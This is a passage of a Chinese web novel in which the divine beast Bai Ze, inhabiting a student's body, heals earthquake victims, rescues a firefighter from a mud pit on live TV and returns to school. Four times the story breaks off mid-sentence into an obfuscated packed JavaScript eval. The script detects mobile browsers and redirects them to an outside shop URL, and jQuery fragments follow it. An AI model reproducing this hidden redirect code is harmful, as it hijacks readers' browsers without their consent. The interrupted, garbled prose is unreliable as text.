此起彼伏的祈愿声在白泽耳边响起,白泽每走一步,都能听到新的祈愿声。 太多了,真的太多了。 白泽心神根本无法集中到一处,不得不将那些声音屏蔽,而愿望最强烈的声音便钻入了他的耳朵。 “神啊,我愿意用二十年寿命,换我妈妈在这场灾难中活下来。” 白泽望向声音的来源处,随后快步向那个方向进发。 一处残垣断壁中,有两个身影紧紧靠在一起,身体用灰扑扑的棉被裹着御寒,不至于让自己冻死,但身体还是忍不住地抖。 太冷了,即便是用棉被盖着,寒风还是能穿过棉被钻进来。 两人处在背风处,可还是冷。地震来袭时,他们正在屋子里休息,男孩没有被摇醒,却是被母亲抱着出去的,以至于跑得太匆忙,忘了穿衣服。好在他们跑得足够快,没有被倒塌的房屋压倒,却抵不住寒风来袭,好不容易从废墟里扒拉出一条破棉被,这才不至于让两人冻死。 母亲紧紧地搂着自己的孩子,让他的身体靠在她的胸腔上,而她背后是冰冷的砾石。 八岁的男孩第一次遇到这种危机,即便学校里演习过很多次,可当灾难真正来临,他还是害怕。 怎么会不怕呢?眼见着房屋顷刻间倒塌,眼见着他们在寒冷的黑夜里冻得瑟瑟发抖,因为离村口较远,现在都还没有自救队的人发现他们。 他们只能自救。 母亲几次出去在废墟里寻找棉被、食物、水源、手电筒等物资,这是让他们活下去的必需品。母亲想出去寻找救援,可是天太黑了,即便月亮很圆,可他们住在山里,到山下得穿过一片黑漆漆的竹林,加上她还带着一个小孩,她必须寻找到足够的物资,才能带着他离开这里。 母亲在废墟里寻找了很久,才又找到一件棉衣,她很快套在身上,没有手电筒,她不敢带着男孩离开,最后还是决定继续在废墟里扒拉。 男孩也想帮着寻找,却被母亲制止了。这里的碎石太多了,她怕他摔了。 哗啦啦—— 站在废墟里的母亲脚踩滑了,一个没站稳,瞬间倒了下去。她的头磕在石头上,顿时昏迷不醒。 “妈妈,妈妈……” 男孩哭着喊她,却没有得到任何回应。 男孩擦了擦眼泪,拖着母亲的身体准备把她拖到平地里,可一个成年女人的体重对他来说,还是太重,他使出了吃奶的力气也没将母亲拖到平地。她的身体斜斜地靠在石头上,眼睛紧闭着。 男孩累了,最后把母亲身上的棉衣脱下来自己穿着,又将自己身上的棉被给母亲盖着。 大人的棉被对他来说还是太大了,但这样刚好可以盖住他的脚,不至于太冻。 男孩踉踉跄跄地准备下山喊人,可到了那片黑漆漆的竹林时,又害怕地打起了退堂鼓。 他怕黑。 但一想到母亲还等着他救,他咬了咬牙,闭上眼睛往竹林冲了过去。可也正因为闭着眼睛,看不清路,他还摔了一跤,但很快又爬起来继续冲,好不容易走出那片竹林,能看到外面的月光了,可是下山的路却还有很长一段距离才能到公路。 他在路上狂奔,却一个人也没有,他的眼泪开始往外飙,任凭他怎么擦也擦不干。 刚才他摸到母亲的后脑勺上湿漉漉的,全是血,呼吸也变得微弱,他必须争分夺秒找人来救她。 但他跑得太快了,一个不察踩到了旁边的坑里,右脚只听得咔嚓一声,顿时一阵剧痛袭来。 他扭到脚了。 他试着挪动脚步,却发现那只脚痛得根本移动不了半分,他靠在土壁上喘着粗气,恨自己那么不小心,又恨老天为什么要这么对他们。 过了会儿他又开始祈祷,希望有人能到这边来。 可是他在原地等了十几分钟,还是没有人发现他。 他家太偏了,出一次山都很费劲,他在镇上上小学,读住校,每次回来下车以后都还得走近一个小时。 他很努力,因为他知道爸爸挣钱不容易,妈妈养家也不容易,他从小就懂事,也很上进,只为了走出这大山,看看外面的世界。 他不想一辈子被大山困住。 就像现在,他被困在这大山里,叫天天不应,叫地地不灵。 没有人比现在的他更绝望。 “神啊,我愿意用我二十年寿命,换我妈妈在这场灾难中活下来。” 他对着月亮,双目紧闭,双手合十,许下了当下他最想许的愿望。 如果这世上真的有神仙,会听到他的心愿吗? “嘎吱——” 似有脚踩落叶的声音传来。 一瞬间,男孩还以为自己听错了,直到那脚步声越来越近,借着月光,便见一个高大的身影朝他慢慢走近。 那身影逆着光,他看不清他的长相,却能从迎风飞扬的发丝中判断出她是一个姐姐。 他哽咽道:“姐姐,你是来救我们的吗?” 白泽低头看着哭得一把鼻涕一把泪的男孩,声音无悲无喜:“你愿意用二十年寿命,换你妈妈活下来吗?” 男孩闻言,呆呆地看着她,下意识道:“是。” “不够。” “那四十年呢?” “我不要你的寿命,只要你将你未来的资产奉献于我。” “你只要答应了,我便能救你的母亲。” “真的可以吗?”男孩闻言,高兴坏了,只要能救他的母亲,他什么都能答应。 “真的。” “好,我答应你。” 白泽见他欣喜若狂,压根没有意识自己答应了什么,却并没有再说什么。 这是他应付的代价,没有什么东西是能轻易得到的。 白泽弯下身子,将男孩扛在肩上,让他指路。不过并没有多少指的地方,这里就一条路,都没有岔路。 行了十分钟,他们到了男孩的家,只不过这里已经成为一片废墟,一个女人躺在废墟里,鲜血染红了身下的碎石。 白泽将男孩放下,男孩爬着扑到女人怀里,试图唤醒她:“妈妈,我们得救了,你快醒醒。” 可惜,并没有得到女人的回应。 男孩扭头焦急地喊白泽:“姐姐,求求你救救我妈妈吧。” 白泽蹲下身,试探了下女人的呼吸,微弱得几乎没有。这比刚才那个女人好治多了,代价自然也要少一点。 白泽操控着信仰之力,缓缓移过她的头,特别是后脑勺那块,血迹肉眼可见地消失了。治好女人后,他又将手覆在男孩的腿上,男孩很快便感觉自己的脚也不疼了。 男孩都看呆了:“姐姐,你会魔法吗?” “不会,这是仙法。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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五点的时候,救援队的人到达了男孩所在的地方。白泽离开后,他便自己开始在废墟里寻找物资,他穿着棉袄,并不会觉得冷,甚至干活还出了一身汗。母亲躺在地上,均匀的呼吸意味着她已经没有性命之忧了,只不过还没醒来。 救援队的人上来,便见到在废墟堆里忙碌的男孩,空地里已经堆了一堆从废墟里扒出来的东西,有锅、面包、腊肉等等物资,堆成了一座小山。 他身上灰扑扑的,脸上脏兮兮的,但好在并没有受伤,救援队的人叫他的时候,他还非常热情地说了声“叔叔好。”,看得救援队的人一愣一愣的,这哪里像是受灾群众?简直像是来寻宝的。 母子俩最终还是被救援队的人抬下去去了,临走时,男孩还一直喊着要把他的物资带上,那可是他花费了一个多小时找到的。 于是,救援队的人带着两个人加一堆物资下了山,山路难走,男孩要自己下来走,甚至怕他们不认识路,还在前面带路。 天开始蒙蒙亮,路也变得没那么难走了,但男孩依然走得小心翼翼,特别是刚才崴到脚的地方,更是不敢过去,让一个叔叔抱他过去。 刚满十九岁被叫叔叔的消防员:“……” 过了半个多小时,一行人总算到达了临时安置点,中途的时候有三人去其他地方展开救援,两人抬着女人,一人时而抱着男孩,时而跟在男孩身后不让他乱跑。 临时安置点就建在村办公室旁边,那里搭起了很多简易帐篷,穿着各色衣服的人穿梭在临时基地,他们训练有素,动作迅速,看不出半点疲态。 圆月落下,太阳缓缓升起,天开始蒙蒙亮,过了会儿便又大亮。阳光开始普照大地,而在这场地震中经历苦难的人民,也迎来了新生。 部队、公安、武警,解放军、消防员、医护人员、干部群众等等等,在短时间内清除道路障碍,排除万难来到了这片满目疮痍的土地。 这里的人民终于得救了。 27. 第 27 章 清晨的阳光温暖又明媚,李家村的全貌也展现出来。 经过昨晚的地震,这里满目疮痍,随处可见的残垣断壁,以及五颜六色的身影。 人们都在忙碌着,没有一个人空闲下来。 后勤保障组的人员为大家准备了早餐,是简单的面包牛奶,他们一个接着一个地发,没有人会在意吃的是什么,只要能填饱肚子,他们都可以。 救援人员在简单的吃过早餐后,便继续投入救援中。 白泽刚刚完成了一个女人的心愿,往村办公室的方向走,刚到那里便被人塞了一份早餐,他愣了一下,随后说了声“谢谢”。 他还真有点饿了。 白泽站在角落,嘴里嚼着没什么味的面包,又喝了口牛奶,肚子总算没那么饿了。 吃完早餐,白泽刚扔完垃圾回来,又被人拉着让他帮忙找孙子。 拉着他的人是个七十多岁的老人,耳朵不好,说话口音很重,和他沟通起来有些困难,白泽听了半天才听懂一些,依稀能听懂他说自己孙子叫林有为,二十多岁,问他孙子在哪,他也说不清,只一味地让白泽帮忙找。 白泽无奈,只好去找李凤宁,只是李凤宁并没有在帐篷内,白泽只好出去找人。 光凭着一个名字想要找到人太难了,毕竟这会儿每个人都很忙,他又不好挨个打扰,好不容易碰到了正安置灾民的李世全,这才从他口中得知老人的孙子在镇上当消防员,刚才还看见他的身影了。只不过他跟着大部队走,根本没空过来看望他的爷爷。 老人耳朵有点背,还记性不好。昨晚地震的时候,他半夜睡醒了出来走走,很幸运地没有被地震影响,只是转眼间身后的房屋就塌了。 老人年少时父母相继去世,中年丧妻,老年丧子,儿媳也再嫁,只留下一个几岁的孙子,他好不容易把他拉扯大,进了镇上的消防队,成为了他的骄傲。 可惜后来他便有点老年痴呆了,记不清很多事,林有为想把他接到城里住,他不愿意去,毕竟当了一辈子农民,让他去城里还住不习惯。 林有为便随他去了,但隔三差五就会回来看他。 林有为昨天才回镇上,结果晚上这里便遭遇了地震,且震级还不小,官方通报6.8级,这是最近几年震级最大的一次,但波及范围不大,c省各市区均有震感,但周边受灾程度不大,李家村便是重灾区,根据早上的救援人数,这里伤亡并不大,死亡人数个位,重伤十几,轻伤几十。 这里总共有三千多户籍人口,但留在村里的人不足一千,人口严重外流,大部分都是老人女人和小孩。 这个伤亡人数已经比他们预料的结果少多了,但救援才刚刚开始,接下来还有一场硬仗要打,他们要和时间赛跑,和死神抢人。 得知林有为的情况,又从李世全的手机相册里看清了林有为的长相,白泽便告别了李世全,继续找人。 “嬢嬢,你认得到我孙孙不?你晓得他在哪里不?”老人说话有着严重的口音,白泽听着很费劲,但依稀能听懂他是在问他孙子在哪,只不过那声“嬢嬢”把他喊懵了,他看着有那么老吗?都能被他叫嬢嬢了。 “我带你去找他。”白泽在前面带路,老人在后面慢吞吞地跟着。两人一路穿梭在救援人群中,寻找着那个橙色身影。 一路上,白泽看着训练有素的救援队,突然联想到,如果妖界有这么一群训练有素的军妖,也不至于现在混乱成这样。 现在的妖王暴政,杀戮成性,视妖命如草芥,连他这样一个有神格的兽也能被他算计在内,更别说其他妖族了。 推翻暴政是早晚的事,只是现在妖族还没找到一条适合自己的路。 白泽将眼前的一切都看在眼里,记在心里。人类之所以能发展到如今的地步,自然有可取之处,他呆在人界也好,或许能为妖族找到一个破除掣肘的方法。 两人大约行了十来分钟,突然听到有人喊了一声“有为”,便寻声过去。 前方不知道发生了什么,此时周围已经围满了人,有群众还有消防员,不时有嘈杂的人声传来,夹杂着几声“有为”。 白泽挤进人群,却被前面穿着橙色衣服的消防员拦住了去路:“这里危险,不要靠近。” 白泽指了指身后的老人:“我带老人家来找林有为,他在这里吗?” 消防员看了一眼老人,似乎认出了他,下意识地压低了声音:“林有为正在参加救援任务,不方便见他,请你带老人家回临时安置点吧。” 白泽不想在这耽搁了,主要是老人说话他又听得不是很懂,还是个话唠,一直在他面前念叨,他耳朵都快起茧子了,只想赶紧把人交到林有为手里。 “你让林有为出来一下吧,让老人家见一下,他就放心了,耽误不了几分钟。” 那人闻言,也有些为难,便将白泽拉到一旁,小声道:“林有为救援的时候出事了,掉进了地坑中,我们正在想办法把他救起来,你先别和老人家说。” 白泽踮起脚尖想要往里瞧,却被人群挡住了视线,根本看不着。 在这群高个面前,他就是个小矮子。 白泽开始有点嫌弃安随这具身体了。 他高大威武的形象什么时候才能恢复啊! 白泽很快放弃,但他有些好奇,便问道:“你们准备怎么救他起来啊?坑有多深啊?掉下去多久了?” 消防员见她一直追问,面无表情道:“这些我不能告诉你,你还是快带他回去吧,别在这影响救援。” “让我看看,说不定我能救他。” “你?”消防员上下打量了她一眼,有些不信。她看起来弱不禁风,一阵风都能把她推倒,她怎么救他? “你先让我看看情况嘛,我能救就救,不能救也不影响你们救援。”白泽又继续劝说道。 消防员仍然不为所动:“这是纪律。” “你们的纪律就是面对有救人的可能性,也不为所动吗?”白泽不解。 消防员没说话,但他身子站得笔直,犹如一座大山挡在白泽面前。 白泽只是想去看看林有为的情况,能救他就救,不能救他也不会逞强,但他和这榆木脑袋说不通,于是只能用硬的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16710992|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 于是,便见白泽上前两步,拦腰将消防员扛在肩上,将他落到了另外一处。面对对方震惊的眼神,白泽再次问道:“现在,我可以过去了吗?” 人群前方是一个巨大的地坑,约十米宽五米深,前几日下了几日的雨,这里还有些积水,甚至有的地方整只腿都能陷进去,这给他们的救援增加了难度。因着这里山路崎岖,且地震破坏严重,挖掘机根本进不来,消防队只能利用滑轮系统救被困群众,派一名身材瘦高消防员配合帮被困群众穿戴好防护装置,再将他们一个一个地转移到上面,被派下去的消防员便是林有为。 五名受灾群众相继被救上来,轮到拉林有为上来时,固定的绳子却突然断裂,整个人便直直往下掉,坠入泥潭中,一大半的身体都陷了进去,只留了胸部以上的部位还留在外面。 救援队迅速把备用绳换上,将绳索套在医护人员身上,送他下去救人,走了几步,脚便陷在了泥潭里,甚至连带着林有为的身体也往下沉了一小截,医护人员不敢再动了,他现在所在的位置离林有为有段距离,根本无法把手中的绳索递给他,他也不敢再动,怕林有为陷得更深,因此处在一个进退两难的尴尬境地。 上方的人不敢再派人下去,但时间一分一秒地流逝,下面的人还等着人去救。 消防队队长很快联系救援总部,申请支援。先前被救的五名受灾群众所处的位置并不深,因此救援不复杂,但林有为坠落的位置却是泥潭,且下坠的时候力度太大了,陷得有点深,因此救援起来才非常困难。 总部很快回复可以利用直升机救援,但调派直升机过来也需要一段时间,且林有为的身体肉眼可见地往下坠,呼吸也越来越困难。 随着时间的流逝,在场的人都有些着急,七嘴八舌地讨论着该怎么救他上来。 此时,在救援队的努力下,通讯设备也恢复了信号,而李家村也成了救援的第一现场,在央视新闻实时直播,全国甚至全世界的人都在关注着这场救援。 “希望伤亡人数不要再增加了【祈祷】。” “看见曾经山清水秀的李家村成了如今这副模样,真的心疼。” “天灾无情人有情,我们救援队的人真给力,动作非常迅速,点个赞。” “国家越来越强大了,想想十几年前的那场地震,现在的我们真的已经很好了。” “说起那场灾难,现在想起来都还是痛。” “这里好像救了很久了,还没救起来吗?” “好像是有消防员困在坑里了,他们正在想办法把他救上来。” “那个位置救援有点难度,而且消防员在泥里呼吸也很困难,希望他能挺住。” “唉,不知道他们怎么才能把他救上来,想想都觉得痛苦。” “我去!不是已经有人陷进去了吗?怎么还派人下去啊?” “这人谁啊?不像救援队的人,这是下去捣乱的吗?” “怎么消防员都不拦着她啊?就让她这么下去了?” 只见一名女孩突然顺着滑轮下到坑里,朝林有为走去。 28. 第 28 章 她的体重似乎很轻,走在泥上脚并不会陷进去,如蜻蜓点水般在泥谭上方行走。 她很快略过了那名医护人员,离林有为越来越近了。 巨坑上方,消防队队长目瞪口呆地看着下去的白泽,斥责身后的消防员:“谁放她下去的?这不是添乱吗?万一有为掉进去了怎么办?” 身后几名消防员相互看了几眼,过了会儿,才有名消防员弱弱地举手:“队长,是我。” “自己去领罚,任务结束后回队里罚跑十圈。” “是。” 过了会儿,那消防员又开口了:“我是觉得她能行,才同意她下去的。” “你怎么确定她行?你认识她?” “她刚才。”消防员指了指自己的腰,“单手就把我扛起来了。” 队长上下打量了一眼长得五大三粗的队员,问他:“你多重多高?” “185cm,75kg。” “你把我当傻子?” 消防员无力反驳:“我真没有。” 队长仍然不信,只以为他是找借口,也不再和他说话,而是把注意力落在下方的白泽身上。主要是人现在已经下去了,他又不能让人把她带上来,否则很容易造成二次伤害。 “小郑啊,你看到我孙孙没有?他在哪里啊?”一个苍老的声音在队长耳边响起,队长回过头,这才看到林有为的爷爷就站在他身后,他下意识地便挡住了他的视线,额头已经布满了密密的汗,声音也有点不自然:“有为在执行任务呢,爷爷您放心,他没事。” “那我刚才怎么听到你们说有为掉下去了?” “爷爷您听错了,这里不安全,我让人送您回去吧。” “我就要在这里等有为回来,嬢嬢去找他了,你看到她没有?”爷爷问。 “嬢嬢?”队长有些懵了,爷爷的嬢嬢,那是得多大年纪,这里没见其他老年人啊? 那名消防员悄悄在他耳边说道:“嬢嬢是这里老年人对年轻女孩的称呼,队长你是外地人不知道正常,爷爷说的应该就是刚才下去的那女孩。” “他们认识?”队长也有些懵了,“爷爷你说的嬢嬢是谁啊?” 爷爷记性不好,已经忘记是怎么遇到白泽的了,只记得白泽说要带他来找他的乖孙。 爷爷索性在旁边的石头上坐了下来,谁劝说也没用。队长无法,只得让一名消防员在旁边看着他,其他人则去看救援进度。 此时的白泽已经到了林有为身边,神奇的是她的到来并没有让林有为继续往下陷,泥潭对于她的到来并没有感到排斥,白泽很轻松地就将林有为从泥潭里拉起。 林有为已经被困在泥潭里十几分钟了,他的胸腔以下的位置都陷在泥潭里,呼吸也变得困难,他不敢用力,怕自己陷得更深,那种感觉太难熬了,短短的十几分钟里,他甚至已经想到了所有要交待的后事,他的爷爷还有另外一个儿子,他走了后,伯伯应该会照顾爷爷吧,毕竟那可是亲爹。 其他的他好像也没什么牵挂的了,唯一遗憾的是,他今年二十岁,还没体会过谈恋爱的滋味,看来这也永远实现不了了。 林有为感觉自己的眼皮很沉重,很想睡觉,但听到头顶上方的人声嘈杂,又强撑着把眼皮撑开。他不能睡,上面的人还在想办法救他,他不能自己先败下阵来。 又过了会儿,前方有个人影缓缓向他靠近,他看不太清,因为他睁大眼也变得很困难,只依稀能见到是个白色的身影。 终于,那个人影在他面前站定,他这才看清了,是个很年轻的女孩,看起来比他还小,但长得很好看,比他见过的女孩都好看,虽然他并没有见过多少女孩。他还没反应过来对方为什么会出现在这里时,便见她突然朝他伸手,随后拽着他的胳膊将他整个人从泥潭里提了起来。整个过程非常迅速,基本没受到什么阻力。 一阵天旋地转后,他被她扛在了肩上,他看着她一步一步地踩在泥潭里,如入无人之境。 他,得救了? 林有为还是有些难以置信,他就这样活了下来。 走到医护人员旁边时,白泽又将他也提了起来,随后提溜着他继续往前走,将两人扔到了滑轮装置的下方,然后给他们绑上了安全装置,这才示意上方的人把他们拉上去。 上方的人过了一分钟才反应过来开始动作,主要是全程高能,他们几乎没有眨眼睛,眼睁睁地看着白泽就这样把两人从泥潭里救了出来。 两人都安全到达上方,他们本来还想把白泽拉起来,却见他脚踩着墙壁,快速爬了上来。 他的动作太快了,在人们还没反应过来时,就已经到达了地面。 随后他便提溜着浑身是泥的林有为到了老人面前。 白泽:“老人家,你的乖孙我给你带回来啦。” 林有为眼泪一下子就落了下来。 都说男儿有泪不轻弹,只是未到伤心处。 他不想哭的,可是看到爷爷的瞬间,听到她救他只是为了把他带到爷爷面前,眼里的泪便怎么也忍不住落下来。 “有为啊,你怎么浑身都是泥啊?又去哪里皮了?”爷爷先前还微眯着眼,在听到“乖孙”两个字时,便睁大了眼,在看清面前的人确实是林有为时,胸腔里的七上八下一瞬间便平复了。 他没事就好,没事就好。 林有为哽咽道:“我刚才去玩泥巴了,让爷爷担心了。” “你都上高中了,不能再那么皮了,不然老师要头疼了。”爷爷苦口婆心道。 林有为点点头,应道:“嗯嗯,我不会让老师操心,也不会让您操心的。” “那就好,你去玩吧,爷爷回去了,别太晚回家啊。”说着,老人便缓缓起身,佝偻着背往回走。他的步伐很慢,也很稳,岁月在他身上刻下了数道伤痕,却从未打倒过他。 林有为看着爷爷远去的身影,擦了擦眼角的泪水,随后回过头向众人说了声谢谢,又走到白泽面前,郑重地道了声谢:“谢谢你救了我,谢谢你帮我照顾我爷爷。” “你拿什么谢我?”白泽问他。 林有为一时倒有些被问住了,他没什么能拿的出手的,刚参加工作,也没攒下什么钱。 “你想要什么?只要我有。” 白泽:“那就把你未来的资产都给我吧。” 林有为想也没想便答应了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16720563|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“好。” “记住,是未来资产。”白泽重复了一遍。 林有为也很确定道:“你救了我,就算让我为你效劳一辈子我都愿意。” “那倒不用。”白泽道。 他不需要别人为他效劳,他只想给安随搞钱。 林有为的手机其他消防员帮他保管着,他拿过来后便加了白泽微信。 加完微信后,白泽又强调道:“我叫白泽,也叫安随,记住你今天说的话啊。” 林有为点了点头,他不是言而无信的人,既然答应了便一定会做到。 而央视新闻直播间里,白泽的一举一动都被全国人民看到了,特别是她露的那一手,直接把直播间网友秀得头皮发麻。 “我去,她这是使的轻功吗?怎么做到不费吹灰之力通过泥潭的?” “她就这么直接把消防员提了出来!她是大力士吗?” “她还提了两个!” “她用轻功飞上来了!妈呀,原来这世上真的有轻功!” “原来她是帮老人找孙子啊,好感人的一幕,讲真我看见消防员哥哥哭了我也跟着哭了,太不容易了。” “原来她叫白泽,等等,这个名字怎么有点耳熟?” “是那个白泽直播间吗?她前两天确实在李家村,但是她不是回学校了吗?怎么还在这里?” “昨晚她突然开启直播,让我们学习,本来说挂一晚上的,后来直播中断,我还以为她手机没电关机了,没想到是遭遇地震了。” “所以她昨晚还在李家村,并没有回学校啊。” “你们怎么确定她就是主播白泽啊,毕竟谁也没见过她的长相。” “年轻女孩,声线有点像,自带玄学,越说越像,毕竟她今天救人这事就挺玄学的。” “没想到主播长那么好看,让人想恋爱。” “你们说的主播白泽是谁啊?很出名吗?”有人问。 “你搜搜就知道了,如果你是学生,你会爱上她的。” “好,本人学生狗一枚。” 过了会儿,那人回来了:“【鞠躬】谢谢小伙伴们,给我推了一个宝藏主播,我简直爱死她了!” 其他人闻言,也纷纷跑去关注了白泽,短短十几分钟内,白泽的粉丝正式突破一百万。 白泽对此一无所知,此时,一个拿着话筒的女记者走到他面前,采访他:“小妹妹你是叫白泽吗?是这里的人还是救援队的人啊?” “有区别吗?不都是救人?”白泽问她。 女记者一时有些语塞,但她很快调整过来,继续问道:“刚才你把消防员救上来的一幕已经被全国观众看到了,大家最关心的问题是,你的力气是天生的吗?还是通过后天训练的?还有网友问你有男朋友吗?可以和大家分享一下吗?” “你说我被全国观众看到了?” 女记者没想到她的关注点在这个上面,点点头道:“是的,我们这是全网直播,你刚才的一幕已经被直播出去了。” “你们直播间有多少人啊?” 女记者看了一下直播间在线人数:“五百万。” “夺少???” 29. 第 29 章 女记者微笑着看她:“五百万。” 白泽定了定神,强忍住嘴角的弧度,不让它往上翘。 乖乖,这得吸收多少信仰之力啊! 怪不得他觉得自己的灵魂被修补的速度也加快了,原来问题出在这。 他轻咳了两声,一本正经道:“我这个是间歇性的,不是一直都有那么大力气。” “那有规律吗?什么时候才能施展出来呢?”女记者追问道。 “没有。” “上一次是什么时候呢?” “就在刚才。” “……” 女记者敏锐地发现白泽不愿意多说,便也不再追问,和他告别以后就去采访下一个人。 而白泽终于松了口气。 今天怎么回事,他老是遇见话唠。 白泽不愿意多说,主要他现在用着安随的身体,不想给她增添麻烦。 这里的救援变得有条不紊,后续的补给也相继跟上,白泽得离开了,他今天得赶回学校,为了不让安随在路上又遇到其他麻烦,白泽决定等回学校才将身体的掌控权还给安随。 这一次醒来他能明显感觉到自己的能量强了许多,再过不了多久,他便能恢复真身,到时候便不会再和安随共用一个身体了。两个人用一个身体还是麻烦,且有诸多不便,能尽早恢复自己的身体是最好的。 白泽很快便离开了李家村,谁也没有告别。回去的路上,他才发现这里的路还没恢复,外面的车子也进不来,里面的也出不去,救援人员是靠徒步和空投将物资带到李家村的。 白泽的脚程很快,路过昨晚灭掉蛇妖的地方,发现那三人已经不在了,想来应该是被人解救了。白泽没再停留,一路上健步如飞,几乎飞了起来。 很快他便到了镇上,镇上受灾比较轻,这场地震本就是蛇妖在李家村引发的地动,对其他地方影响较小,因此出镇的公路并没有受影响,班次正常出发,白泽掏出手机准备买票,这一摸却摸到了个毛茸茸的东西,他拧出来一看,竟然是个无毛怪。 白泽很快回想起来,这是只凤凰,只是凤凰如今光秃秃的,毛掉得精光,且一只手就能握住。 他还没看过那么小的凤凰。 “喂,醒醒。”白泽戳了戳它。 正在睡梦中的小凤凰眼睛一张一合,如此几次后才完全睁开。 浓郁的神息萦绕在小凤凰周围,只见它瞬间睁开眼,然后在白泽手掌心跳了起来。 “老大!!!!”小凤凰开始尖叫。 它的声音又尖又细,非常刺耳,扑腾着光秃秃的翅膀,想要飞起来,却怎么也飞不起来。 “老大我好想你,昨晚发生了什么?我好害怕!呜呜呜呜你去哪了?老大你终于回来了!呜呜呜呜呜……” 白泽的忍耐已经到了极限,怎么又是个话唠…… “闭嘴,再叫把你扔出去。” 小凤凰顿时噤声了。 老大还是一样的高冷,呜呜呜,不过它喜欢。 小凤凰在白泽掌心里蹭了蹭,好浓郁的气息,它好喜欢,现在的老大比昨晚的老大更强了。 白泽见它安静了,便又把它放进口袋里。 白泽从另外个口袋掏出手机,熟练地去买了票,他不知道安随的支付密码,但好在买票的时候有人脸识别,很轻松就买了票。 白泽坐的直接回市区的大巴,要两个多小时,避免节外生枝,白泽戴着口罩,除了人脸识别的时候取下来,其他时间他都是戴着的。 他现在在五百万观众面前都露了脸,他还真怕在路上遇到几个认出他的人,到时候又要花费不少时间。 这一次,白泽没再遇到什么阻碍,回到锦城的时候是下午四点,从汽车站坐地铁到学校又是近一个小时,坐了一下午的车,他感觉自己屁股都快抖成两瓣了,回到寝室以后,室友们还没下课,白泽重重地舒了口气,总算不用再应付人类了。 简单洗漱以后,他躺回了床上,然后将身体的主动权交还给了安随。 安随睁眼看到的便是纯白的天花板,她的记忆还停留在昨晚,只记得自己被那蛇妖甩了出去,都以为自己凶多吉少了,可如今看来,她非但活了下来,身上的伤也好了,自己还回到了学校,很明显是白泽掌控了她的身体。 “白泽。”安随呼唤道。 “怎么?”白泽的声音有些疲惫,他本来想睡一觉的,结果安随一醒来就叫他,他想睡都不行。 “你没事了?”她还记得那晚白泽把信仰之力耗尽将汽车挪回平地的事,如今他那么快又恢复了,还消灭了那蛇妖? “有事。” “啊?你怎么了?要不要紧?” “我要睡觉了,睡醒再说。” “……好。” 安随听出了他声音里的疲惫,便也不再打扰她。 她从床上坐起来,兜里的小凤凰突然说话了:“老大,你的味道怎么又变淡了?” 安随将小凤凰从兜里拿出来,见着浑身没毛还小得一只手就能包住的小东西,有点不确定道:“你是,小凤凰?” “是我呀老大,你那么快就忘记我了?” “你怎么还那么小?” “被那蛇妖吓得,我现在变不回去了,呜呜呜呜,我好丑,老大不会不要我了吧?” “怎么会?”安随和这小东西相处了一段时间,还是有些舍不得把它扔掉的。 “那就行,我如今只有老大了,你不能不要我,不然我就无家可归了呜呜呜。” 安随被它吵得有些头疼,好不容易将它安抚住,这才拿出手机看看发生了什么。 网上的新闻铺天盖地,都对这场地震进行了报道,微博有地震现场的直播,安随点进去,便见救援队正在全力救人,刚从废墟里救出一名小女孩,小女孩满脸灰尘,都快看不出原本模样了,她被一名消防员抱着,眼里也有了光。 安随又去速音看了下,首页刷到的也是救援的视频,她刷了会儿便不敢再看了,而是去看了下自己的粉丝,这一看发现自己已经两百多万粉丝了。 怎么回事?昨天她看了还有十万才到一百万,短短一天就涨了一百多万吗?这中间到底发生了什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16734165|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 安随在速音搜了下“主播白泽”,跳出来的视频里,点赞最高的一个便是她肩上扛一个人,手里还提溜着一个人的视频,她看起来十分轻松,踩泥潭里都丝毫不费劲。这个视频点赞已经达到了两百多万,评论里点赞最多的一条便是:“指路主播白泽,入股不亏。” ??? 他们怎么知道这是她的?她都没有在直播间里露过面。难道是李凤宁说出去的?但对方答应过她不会和别人说,她不觉得李凤宁是那种言而无信的人。 所以,她到底是怎么露馅的? 还有,白泽现在露了这么一手,以后不会逢人就说她是大力士吗?她的世界还能不能清静了! 安随环顾了下四周,下意识地寻找大件物体,看自己能不能抬起来。找了一圈也没有发现什么趁手的大件,最后目光落在她睡的床上。 安随很快下了床,双手撑着使力,想要把床给抬起来,床纹丝不动。 笑死,根本抬不动。 安随放心了,看来能使力的是白泽,不是她的身体。 安随又去刷了其他的视频,还有条比较火的是她把林有为从泥潭里拉出来的视频,配音和配乐都带着救赎,甚至还有人磕起了CP。 